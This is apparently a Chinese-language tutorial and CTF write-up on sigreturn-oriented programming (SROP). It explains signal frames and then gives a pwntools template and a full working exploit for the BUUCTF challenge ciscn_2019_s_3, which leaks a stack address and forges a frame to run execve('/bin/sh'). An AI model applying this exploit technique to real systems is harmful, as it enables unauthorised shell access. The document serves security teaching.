高级ROP-SROP

介绍

SROP(Sigreturn Oriented Programming) 于 2014 年被 Vrije Universiteit Amsterdam 的 Erik Bosman 提出,其相关研究Framing Signals — A Return to Portable Shellcode发表在安全顶级会议 Oakland 2014 上,被评选为当年的 Best Student Papers。

signal机制

signal机制是类unix系统中进程之间互相传递信息的一种方法,一般,我们也称其为软中断信号,或者软中断。比如许说,进程之间可以通过系统调用kill来发送软中断信号。一般来说,信号机制常见的步骤如下图:

  1. 内核向进程发送一个signal机制,该进程会被暂时挂起,进入内核态。
  2. 内核会为该进程保存相应的上下文,主要是将所有寄存器压入栈中,以及压入signal信息,以及指向sigreturn的系统调用地址。此时的栈结构如图,我们成ucontext(上下文)以及siginfo(信号信息)这一段为signal frame(信号帧)。需要注意的是,这一部分是在用户的地址空间的。之后会跳转到注册过的signal handler(信号处理程序)中处理相应的signal。因此,当signal handler执行完之后,就会执行sigreturn代码。

不同的架构signal frame会有所不同

  1. signal handler返回后,内核为执行sigreturn系统调用,为该程序恢复之前保存的上下文,其中包括将所有压入的寄存器重新pop回对应的寄存器,最后恢复程序的执行。其中32位的sigreturn的调用号为:199(0x77),64位的系统调用号为:15(0xf)。

攻击原理

仔细回顾内核在signal信号处理的过程中的工作,我们能够发现内核主要的工作就是为进程保存上下文,之后恢复上下文。这些变动都在signal frame中。需要注意(为什么能攻击的原因):

  • signal fram被保存在用户的地址空间(栈)中,所以用户是可以读写的(我们能修改)
  • 内核和信号处理程序无关,它不会去记录这个signal对应的signal frame,所以当执行sigreturn系统调用时,此时的signal frame并不一定是之前内核为用户进程保存的signal frame。(没有检查机制)

所以攻击者可以伪造一个signal frame用来获取shell

攻击要求

  • 可以溢出并能控制内容的栈
  • 需要知道/bin/sh、signal frame、syscall、sigreturn的地址
  • 需要足够的空间存放signal frame

pwntools已经集成了有关signalframe的函数,叫做SigreturnFrame函数

它可以设置各寄存器的值(好厉害)

从一个大佬那里找到的使用方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
from pwn import *

# 64位
# sigreturn 代表可以触发sigreturn调用的地址
# 其gadgets如下,只要使rax = 0xf,然后进行系统调用
"""
0x001 mov rax, 0Fh
0x002 syscall
0x003 ret
"""
sigreturn = 0x001
syscall = 0x002 # syscall gadget

context.arch = "amd64"
frame = SigreturnFrame()
frame.rax = constants.SYS_execve
frame.rdi = sh_addr # "/bin/sh\x00"
frame.rsi = 0
frame.rdx = 0
frame.rip = syscall

pad = padding + bytes(frame) # python3
p.send(pad)
p.interactive()

# 32位注意以下几个方面
# 1、上下文初始化
# context.arch = "i386"
# frame = SigreturnFrame(kernel="i386")
# 2、frame.eax = xx 注意寄存器的名字
# 3、syscall指令在32位下可以找int 80

例题

该题为buuctf的ciscn_2019_s_3

查看保护和反编译

checksec

ida

vuln函数

1
2
3
4
5
6
7
8
signed __int64 vuln()
{
signed __int64 v0; // rax
char buf[16]; // [rsp+0h] [rbp-10h] BYREF

v0 = sys_read(0, buf, 0x400uLL);
return sys_write(1u, buf, 0x30uLL);
}

看汇编

说一下汇编代码
xor rax, rax = = = = = = > 将rax设置为0
mov edx, 400h= = = >将edx设置为0x400
lea rsi, [rsp+buf]= = > 将buf参数的地址传入寄存器rsi
mov rdi, rax= = = = = >将rax寄存器里的值(0)传入rdi寄存器(将rdi设置为0)
syscall = = = = = = = = = >进行系统调用
这段是执行了 read(0,buf,0x400)
下面的write也是一样
两个函数都是通过系统调用的方式实现
对于amd64程序sys_read 的调用号 为 0 ;sys_write 的调用号 为 1;stub_execve 的调用号 为 59;sys_rt_sigreturn调用号为15
这个题有两种解法

这里说第二种SROP

写/bin/sh

这道题没有给我们/bin/sh,需要自己写

write函数打印了0x30字节,而根据ida所写栈的大小只有0x18(包括ebp和返回地址),所以可以通过write函数打印出栈上的地址,再通过事先计算好的偏移获得写入的/bin/sh的地址(虽然地址会变但是偏移量不会)

由vuln函数(汇编)中的 **lea rsi, [rsp+buf]**可知,rsi记录了buf的地址。

gdb调试(断点打在main函数的nop处,输入为aaaa)

可以看到rsi存入的地址为 0x7fffffffdf50

打印此处开始一段内容

注意这三行

1
2
3
0x7fffffffdf50:	0x00007f0a61616161	0x0000000000400540//前面是输入的aaaa
0x7fffffffdf60: 0x00007fffffffdf80 0x0000000000400536
0x7fffffffdf70: 0x00007fffffffe078 0x0000000100000000//到前面已经是0x28(40)个字节了,每串是8字节

所以他是在栈上的(最左边的黄色地址是栈的地址,指向的地址是栈地址储存的内容),因此可以利用它来获取/bin/sh的地址

计算它到buf的偏移(buf即我们输入的内容的地址)

得到偏移量是0x128,但是远程是0x118,因为环境不同,libc版本不同,需要改题目文件的libc的版本(但是我改完运行不了了)

0x00007fffffffe068之前有0x20个字节,在接收地址时要先把他们过滤掉。
再计算它到输入内容的偏移

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from pwn import*
context(os='linux',arch='amd64',log_level='debug')
#io=remote('node4.buuoj.cn',26790)
io=process('./ciscn_s_3')
read_write_addr=0x4004F1#这里,并不是vuln函数的起始地址,而是跳过存入原rsp的地址(自认为的原因
sigreturn_addr=0x4004DA
pop_rdi_addr=0x4005a3
mov_call_addr=0x400580
syscall_addr=0x400501
payload1=b'/bin/sh\x00'+b'a'*0x8+p64(read_write_addr)
io.sendline(payload1)
io.recv(0x20)
bin_sh_addr=u64(io.recv(8))-0x128#本地
frame=SigreturnFrame()
frame.rax=constants.SYS_execve
frame.rdi=bin_sh_addr
frame.rsi=0
frame.rdx=0
frame.rip=syscall_addr
payload2=b'a'*0x10+p64(sigreturn_addr)+p64(syscall_addr)+bytes(frame)
io.sendline(payload2)
io.interactive()

上面有vuln的汇编